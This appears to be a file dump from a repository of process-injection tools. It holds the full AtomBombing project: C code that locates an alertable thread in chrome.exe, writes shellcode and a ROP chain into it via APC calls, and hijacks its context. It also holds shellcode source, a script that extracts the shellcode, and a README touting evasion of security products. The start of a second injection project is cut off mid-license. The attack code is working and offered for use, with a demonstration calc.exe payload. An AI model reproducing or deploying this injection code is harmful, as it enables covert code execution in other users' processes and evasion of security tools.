HeapAlloc(\n\t\tGetProcessHeap(), \n\t\tHEAP_ZERO_MEMORY, \n\t\tcbProcessThreadIdsSize\n\t\t);\n\tif (NULL == phProcessThreadsHandles)\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\n\t{\n\t\tDWORD dwThreadId = pdwProcessThreadIds[dwIndex];\n\n\t\tphProcessThreadsHandles[dwIndex] = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);\n\t\tif (NULL == phProcessThreadsHandles[dwIndex])\n\t\t{\n\t\t\teReturn = ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED;\n\t\t\tgoto lblCleanup;\n\t\t}\n\t}\n\n\t*pphProcessThreadsHandles = phProcessThreadsHandles;\n\t*pcbProcessThreadsHandlesSize = cbProcessThreadIdsSize;\n\t*pdwNumberOfProcessThreads = dwNumberOfProcessThreads;\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\tif (NULL != pdwProcessThreadIds)\n\t{\n\t\tHeapFree(GetProcessHeap(), 0, pdwProcessThreadIds);\n\t\tpdwProcessThreadIds = NULL;\n\t}\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tmain_CloseLocalHandleArray(phProcessThreadsHandles, dwNumberOfProcessThreads);\n\n\t\tif (NULL != phProcessThreadsHandles)\n\t\t{\n\t\t\tHeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);\n\t\t\tphProcessThreadsHandles = NULL;\n\t\t}\n\t}\n\treturn eReturn;\n}\n\nESTATUS main_GetThreadContext(\n\tHANDLE hThread, \n\tDWORD dwContextFlags, \n\tPCONTEXT ptContext\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tDWORD dwErr = 0;\n\tBOOL bErr = FALSE;\n\tCONTEXT tContext = { NULL };\n\n\ttContext.ContextFlags = dwContextFlags;\n\n\tSuspendThread(hThread);\n\tif (((DWORD)-1) == dwErr)\n\t{\n\t\teReturn = ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\tbErr = GetThreadContext(hThread, &tContext);\n\tif (FALSE == bErr)\n\t{\n\t\teReturn = ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\tResumeThread(hThread);\n\tif (((DWORD)-1) == dwErr)\n\t{\n\t\teReturn = ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\t*ptContext = tContext;\n\nlblCleanup:\n\treturn eReturn;\n}\n\nESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tPHANDLE phProcessThreadsHandles = NULL;\n\tDWORD cbProcessThreadsHandlesSize = 0;\n\tDWORD dwNumberOfProcessThreads = 0;\n\tBOOL bErr = FALSE;\n\tDWORD dwErr = 0;\n\tHANDLE hAlertableThread = 0;\n\tPVOID pfnNtWaitForSingleObject = NULL;\n\tPHANDLE phLocalEvents = NULL;\n\tPHANDLE phRemoteEvents = NULL;\n\n\teReturn = main_EnumProcessThreads(\n\t\thProcess, \n\t\t&phProcessThreadsHandles, \n\t\t&cbProcessThreadsHandlesSize, \n\t\t&dwNumberOfProcessThreads\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\n\t{\n\t\tHANDLE hThread = phProcessThreadsHandles[dwIndex];\n\t\t\n\t\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\n\t\t\thThread, \n\t\t\tGetCurrentThread(), \n\t\t\t5000, \n\t\t\tTRUE);\n\t\tif (ESTATUS_FAILED(eReturn))\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t}\n\n\tphLocalEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));\n\tif (NULL == phLocalEvents)\n\t{\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\tphRemoteEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));\n\tif (NULL == phRemoteEvents)\n\t{\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\n\t{\n\t\tHANDLE hThread = phProcessThreadsHandles[dwIndex];\n\t\t\n\t\tphLocalEvents[dwIndex] = CreateEvent(NULL, TRUE, FALSE, NULL);\n\t\tif (NULL == phLocalEvents[dwIndex])\n\t\t{\n\t\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED;\n\t\t\tgoto lblCleanup;\n\t\t}\n\t\t\n\t\tbErr = DuplicateHandle(\n\t\t\tGetCurrentProcess(),\n\t\t\tphLocalEvents[dwIndex],\n\t\t\thProcess,\n\t\t\t&phRemoteEvents[dwIndex],\n\t\t\t0,\n\t\t\tFALSE,\n\t\t\tDUPLICATE_SAME_ACCESS\n\t\t\t);\n\t\tif (FALSE == bErr)\n\t\t{\n\t\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED;\n\t\t\tgoto lblCleanup;\n\t\t}\n\t\t\n\t\teReturn = main_ApcSetEventAndKeepAlertable(hThread, phRemoteEvents[dwIndex]);\n\t\tif (ESTATUS_FAILED(eReturn))\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\n\t}\n\n\tDWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);\n\tif (WAIT_FAILED == dwWaitResult)\n\t{\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\tif (WAIT_TIMEOUT == dwWaitResult)\n\t{\n\t\teReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND;\n\t\tgoto lblCleanup;\n\t}\n\t\n\thAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];\n\n\t//If the thread is in an alertable state, keep it that way \"forever\".\n\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\n\t\thAlertableThread, \n\t\tGetCurrentThread(), \n\t\tINFINITE, \n\t\tTRUE\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\t*phAlertableThread = hAlertableThread;\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\n\tmain_CloseRemoteHandleArray(\n\t\thProcess,\n\t\tphRemoteEvents,\n\t\tdwNumberOfProcessThreads\n\t\t);\n\n\tif (NULL != phRemoteEvents)\n\t{\n\t\tHeapFree(GetProcessHeap(), 0, phRemoteEvents);\n\t\tphRemoteEvents = NULL;\n\t}\n\n\tmain_CloseLocalHandleArray(\n\t\tphLocalEvents,\n\t\tdwNumberOfProcessThreads\n\t\t);\n\t\n\tif (NULL != phLocalEvents)\n\t{\n\t\tHeapFree(GetProcessHeap(), 0, phLocalEvents);\n\t\tphLocalEvents = NULL;\n\t}\n\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\n\t{\n\t\tPHANDLE phThread = &phProcessThreadsHandles[dwIndex];\n\n\t\tif ((NULL != *phThread) && (hAlertableThread != *phThread))\n\t\t{\n\t\t\tCloseHandle(*phThread);\n\t\t\t*phThread = NULL;\n\t\t}\n\t}\n\n\tif (NULL != phProcessThreadsHandles)\n\t{\n\t\tHeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);\n\t\tphProcessThreadsHandles = NULL;\n\t}\n\t\n\treturn eReturn;\n}\n\nESTATUS main_GetThreadTebAddress(HANDLE hThread, PVOID *ppvTebAddress)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tCONTEXT tContext = { 0 };\n\tBOOL bErr = FALSE;\n\tLDT_ENTRY tLdtEnry = { 0 };\n\tPVOID pvTebAddress;\n\n\teReturn = main_GetThreadContext(hThread, CONTEXT_SEGMENTS, &tContext);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tbErr = GetThreadSelectorEntry(hThread, tContext.SegFs, &tLdtEnry);\n\tif (FALSE == bErr)\n\t{\n\t\teReturn = ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\tpvTebAddress = (PVOID)(\n\t\t(tLdtEnry.BaseLow) | \n\t\t(tLdtEnry.HighWord.Bytes.BaseMid << 0x10) | \n\t\t(tLdtEnry.HighWord.Bytes.BaseHi << 0x18)\n\t\t);\n\n\t*ppvTebAddress = pvTebAddress;\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\treturn eReturn;\n\n}\n\n\n\nint main()\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tPVOID pvRemoteShellcodeAddress = NULL;\n\tPVOID pvRemoteGetProcAddressLoadLibraryAddress = NULL;\n\tPVOID pvRemoteContextAddress = NULL;\n\tPVOID pvRemoteROPChainAddress = NULL;\n\tCONTEXT tContext = { 0 };\n\tCHAR acShellcode[] = SHELLCODE;\n\tPVOID pvCodeCave = NULL;\n\tBOOL bErr = FALSE;\n\tROPCHAIN tRopChain = { 0 };\n\tHANDLE hProcess = NULL;\n\tHANDLE hAlertableThread = NULL;\n\tATOM tAtom = 0;\n\tprintf(\"[*] ATOM BOMBING\\n\\n\\n\");\n\n\teReturn = main_OpenProcessByName(L\"chrome.exe\", &hProcess);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tprintf(\"[*] Searching for an alertable thread.\\n\\n\\n\");\n\teReturn = main_FindAlertableThread(hProcess, &hAlertableThread);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\tprintf(\"[*] Found an alertable thread. Handle: 0x%X.\\n\\n\\n\", hAlertableThread);\n\n\tprintf(\"[*] Finding remote code cave.\\n\\n\\n\");\n\teReturn = main_GetCodeCaveAddress(&pvCodeCave);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\tprintf(\"[*] Remote code cave found: 0x%X.\\n\\n\\n\", pvCodeCave);\n\n\tpvRemoteROPChainAddress = pvCodeCave;\n\tpvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);\n\tpvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);\n\tpvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;\n\n\tprintf(\"[*] Building ROP chain.\\n\\n\\n\");\n\teReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tprintf(\"[*] Copying the addresses of LoadLibraryA and GetProcAddress to the remote process's memory address space.\\n\\n\\n\");\n\teReturn = main_ApcCopyFunctionPointers(hProcess, hAlertableThread, pvRemoteGetProcAddressLoadLibraryAddress);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\t*(PDWORD)(acShellcode + SHELLCODE_FUNCTION_POINTERS_OFFSET) = (DWORD)(pvRemoteGetProcAddressLoadLibraryAddress);\n\n\tprintf(\"[*] Copying the shellcode to the target process's address space.\\n\\n\\n\");\n\teReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteShellcodeAddress, acShellcode, sizeof(acShellcode));\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\n\tprintf(\"[*] Copying ROP chain to the target process's address space: 0x%X.\\n\\n\\n\", pvRemoteROPChainAddress);\n\teReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteROPChainAddress, &tRopChain, sizeof(tRopChain));\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tbErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\ttContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"ZwAllocateVirtualMemory\");\n\ttContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;\n\ttContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;\n\n\tprintf(\"[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\\n\\n\\n\");\n\teReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\nlblCleanup:\n\tif (NULL != hProcess)\n\t{\n\t\tCloseHandle(hProcess);\n\t\thProcess = NULL;\n\t}\n\tif (NULL != hAlertableThread)\n\t{\n\t\tCloseHandle(hAlertableThread);\n\t\thAlertableThread = NULL;\n\t}\n\treturn 0;\n}" }, { "path": "Inject/atom-bombing-master/AtomBombing.sln", "content": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2013\nVisualStudioVersion = 12.0.40629.0\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"AtomBombing\", \"AtomBombing\\AtomBombing.vcxproj\", \"{D303FA55-CFF8-4484-888A-F06B21559014}\"\n\tProjectSection(ProjectDependencies) = postProject\n\t\t{DAD3D2B2-372F-4486-91FA-032CC0AA1133} = {DAD3D2B2-372F-4486-91FA-032CC0AA1133}\n\tEndProjectSection\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"AtomBombingShellcode\", \"AtomBombingShellcode\\AtomBombingShellcode.vcxproj\", \"{DAD3D2B2-372F-4486-91FA-032CC0AA1133}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tRelease|Win32 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{D303FA55-CFF8-4484-888A-F06B21559014}.Debug|Win32.ActiveCfg = Release|Win32\n\t\t{D303FA55-CFF8-4484-888A-F06B21559014}.Debug|Win32.Build.0 = Release|Win32\n\t\t{D303FA55-CFF8-4484-888A-F06B21559014}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{D303FA55-CFF8-4484-888A-F06B21559014}.Release|Win32.Build.0 = Release|Win32\n\t\t{DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Debug|Win32.ActiveCfg = Release|Win32\n\t\t{DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Debug|Win32.Build.0 = Release|Win32\n\t\t{DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Release|Win32.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n" }, { "path": "Inject/atom-bombing-master/AtomBombingShellcode/AtomBombingShellcode.vcxproj", "content": "\n\n \n \n Release\n Win32\n \n \n \n {DAD3D2B2-372F-4486-91FA-032CC0AA1133}\n Win32Proj\n AtomBombingShellcode\n \n \n \n Application\n false\n v120\n true\n Unicode\n \n \n \n \n \n \n \n \n \n false\n \n \n \n Level3\n \n \n Disabled\n true\n true\n WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)\n false\n \n \n Console\n true\n true\n true\n \n \n \n \n c:\\python27\\python.exe \"$(SolutionDir)\\$(ProjectName)\\Scripts\\Post_Link.py\" \"$(SolutionDir)$(Configuration)\\$(ProjectName).exe\"\n \n \n \n \n \n \n \n \n" }, { "path": "Inject/atom-bombing-master/AtomBombingShellcode/AtomBombingShellcode.vcxproj.filters", "content": "\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hh;hpp;hxx;hm;inl;inc;xsd\n \n \n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\n \n \n \n \n Source Files\n \n \n" }, { "path": "Inject/atom-bombing-master/AtomBombingShellcode/Scripts/Post_Link.py", "content": "import pefile\nimport sys\nimport os\n\nDUMMY_FUNC = \"\\x55\\x8b\\xec\\x51\\xc7\\x45\\xfc\\xbe\\xba\\xad\\xde\\x8b\\xe5\\x5d\\xc3\"\n\ndef main():\n\texe_path = sys.argv[1]\n\tpe = pefile.PE(exe_path)\n\tprint \"Starting!\"\n\toutput = \"\"\n\ttext_section = \"\"\n\tfor section in pe.sections:\n\t\tif \".text\" in section.Name:\n\t\t\tprint (section.Name, hex(section.VirtualAddress), hex(section.Misc_VirtualSize), section.SizeOfRawData )\n\t\t\ttext_section = pe.get_data(section.VirtualAddress, section.SizeOfRawData)\n\t\t\tbinary_shellcode = text_section[:text_section.find(DUMMY_FUNC)]\n\t\t\tfor byte in binary_shellcode:\n\t\t\t\toutput += \"\\\\x%x\" % ord(byte)\n\toutput = \"#define SHELLCODE (\\\"%s\\\")\" % output\n\tfolder, file_name = os.path.split(exe_path)\n\tbase, _ = os.path.splitext(file_name)\n\tprint os.path.join(folder, base+\".h\")\n\topen(os.path.join(folder, base) + \".h\", \"wb\").write(output)\n\topen(os.path.join(folder, base) + \".text\", \"wb\").write(text_section)\n\topen(os.path.join(folder, base) + \".shellcode\", \"wb\").write(binary_shellcode)\n\t\n\t\t\t\t\n\t\nif __name__ == \"__main__\":\n\tmain()" }, { "path": "Inject/atom-bombing-master/AtomBombingShellcode/main.c", "content": "typedef void * (__stdcall *pfnLoadLibraryA)(void *lpLibFileName);\ntypedef void * (__stdcall *pfnGetProcAddress)(void * hModule, void * lpProcName);\ntypedef int(__stdcall *pfnWinExec)(void * lpCmdLine, unsigned int uCmdShow);\ntypedef int(__stdcall *pfnZwContinue)(void * lpContext, int TestAlert);\n\ntypedef struct _FUNCTIONPOINTERS\n{\n\tpfnLoadLibraryA pfnLoadLibraryA;\n\tpfnGetProcAddress pfnGetProcAddress;\n} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;\n\nFUNCTIONPOINTERS g_FunctionPointers;\n\nvoid shellcode_entry();\n\n__declspec(naked) void fix_esp()\n{\n\t__asm{\n\t\tmov eax, edi;\n\t\tadd ax, 0xc4;\n\t\tmov esp, [eax];\n\t\tsub sp, 0x1024;\n\t\t// This is needed for alignment purposes\n\t\tnop;\n\t\tnop;\n\t\tnop;\n\t}\n\t\n}\n\nvoid shellcode_entry()\n{\n\tPFUNCTIONPOINTERS ptFunctionPointer = 0x13371337;\n\tpfnWinExec pfnWinExec;\n\tpfnZwContinue pfnZwContinue;\n\tvoid * ptContext;\n\tvoid * hKernel32;\n\tvoid * hNtDll;\n\tchar pszKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\\0' };\n\tchar pszNtDll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\\0' };\n\tchar pszZwContinue[] = { 'Z','w','C','o','n','t','i','n','u','e', '\\0'};\n\tchar pszWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', '\\0' };\n\tchar pszCalcExe[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\\0' };\n\n\t__asm{\n\t\tmov[ptContext], edi;\n\t}\n\n\thKernel32 = ptFunctionPointer->pfnLoadLibraryA(pszKernel32);\n\tif (0 == hKernel32)\n\t{\n\t\tgoto lblCleanup;\n\t}\n\t\n\thNtDll = ptFunctionPointer->pfnLoadLibraryA(pszNtDll);\n\tif (0 == hNtDll)\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tpfnZwContinue = ptFunctionPointer->pfnGetProcAddress(hNtDll, pszZwContinue);\n\tif (0 == pfnZwContinue)\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tpfnWinExec = ptFunctionPointer->pfnGetProcAddress(hKernel32, pszWinExec);\n\tif (0 == pfnWinExec)\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tpfnWinExec(pszCalcExe, 0);\n\n\tpfnZwContinue(ptContext, 1);\n\nlblCleanup:\n\treturn;\n}\n\nvoid dummy()\n{\n\tint dummy = 0xDEADBABE;\n}\n\n#include \n\nint main()\n{\n\tg_FunctionPointers.pfnGetProcAddress = GetProcAddress;\n\tg_FunctionPointers.pfnLoadLibraryA = LoadLibraryA;\n\tfix_esp();\n\tshellcode_entry();\n\tdummy();\n}" }, { "path": "Inject/atom-bombing-master/README.md", "content": "# atom-bombing\nHere’s a new code injection technique, dubbed AtomBombing, which exploits Windows atom tables and Async Procedure Calls (APC). Currently, this technique goes undetected by common security solutions that focus on preventing infiltration.\n" }, { "path": "Inject/herpaderping-main/.gitignore", "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\n# User-specific files\n*.rsuser\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Mono auto generated files\nmono_crash.*\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\n[Aa][Rr][Mm]/\n[Aa][Rr][Mm]64/\nbld/\n[Bb]in/\n[Oo]bj/\n[Ll]og/\n[Ll]ogs/\n\n# Visual Studio 2015/2017 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# Visual Studio 2017 auto generated files\nGenerated\\ Files/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUnit\n*.VisualState.xml\nTestResult.xml\nnunit-*.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# Benchmark Results\nBenchmarkDotNet.Artifacts/\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n\n# StyleCop\nStyleCopReport.xml\n\n# Files built by Visual Studio\n*_i.c\n*_p.c\n*_h.h\n*.ilk\n*.meta\n*.obj\n*.iobj\n*.pch\n*.pdb\n*.ipdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*_wpftmp.csproj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# Visual Studio Trace Files\n*.e2e\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# AxoCover is a Code Coverage Tool\n.axoCover/*\n!.axoCover/settings.json\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# Note: Comment the next line if you want to checkin your web deploy settings,\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# NuGet Symbol Packages\n*.snupkg\n# The packages folder can be ignored because of Package Restore\n**/[Pp]ackages/*\n# except build/, which is used as an MSBuild target.\n!**/[Pp]ackages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/[Pp]ackages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n*.appx\n*.appxbundle\n*.appxupload\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!?*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Including strong name files can present a security risk\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\n#*.snk\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\nServiceFabricBackup/\n*.rptproj.bak\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n*.rptproj.rsuser\n*- [Bb]ackup.rdl\n*- [Bb]ackup ([0-9]).rdl\n*- [Bb]ackup ([0-9][0-9]).rdl\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# CodeRush personal settings\n.cr/personal\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Tabs Studio\n*.tss\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n\n# OpenCover UI analysis results\nOpenCover/\n\n# Azure Stream Analytics local run output\nASALocalRun/\n\n# MSBuild Binary and Structured Log\n*.binlog\n\n# NVidia Nsight GPU debugger configuration file\n*.nvuser\n\n# MFractors (Xamarin productivity tool) working folder\n.mfractor/\n\n# Local History for Visual Studio\n.localhistory/\n\n# BeatPulse healthcheck temp database\nhealthchecksdb\n\n# Backup folder for Package Reference Convert tool in Visual Studio 2017\nMigrationBackup/\n\n# Ionide (cross platform F# VS Code tools) working folder\n.ionide/\n\n# Build output directory\nbuild/\n\n# vscode\n.vscode/\n" }, { "path": "Inject/herpaderping-main/.gitmodules", "content": "[submodule \"ext/submodules/wil\"]\n\tpath = ext/submodules/wil\n\turl = https://github.com/microsoft/wil\n ignore = dirty\n[submodule \"ext/submodules/phnt\"]\n\tpath = ext/submodules/phnt\n\turl = https://github.com/processhacker/phnt\n ignore = dirty\n" }, { "path": "Inject/herpaderping-main/LICENSE", "content": "MIT License\n\nCopyright (c) 2020 Johnny Shaw\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or 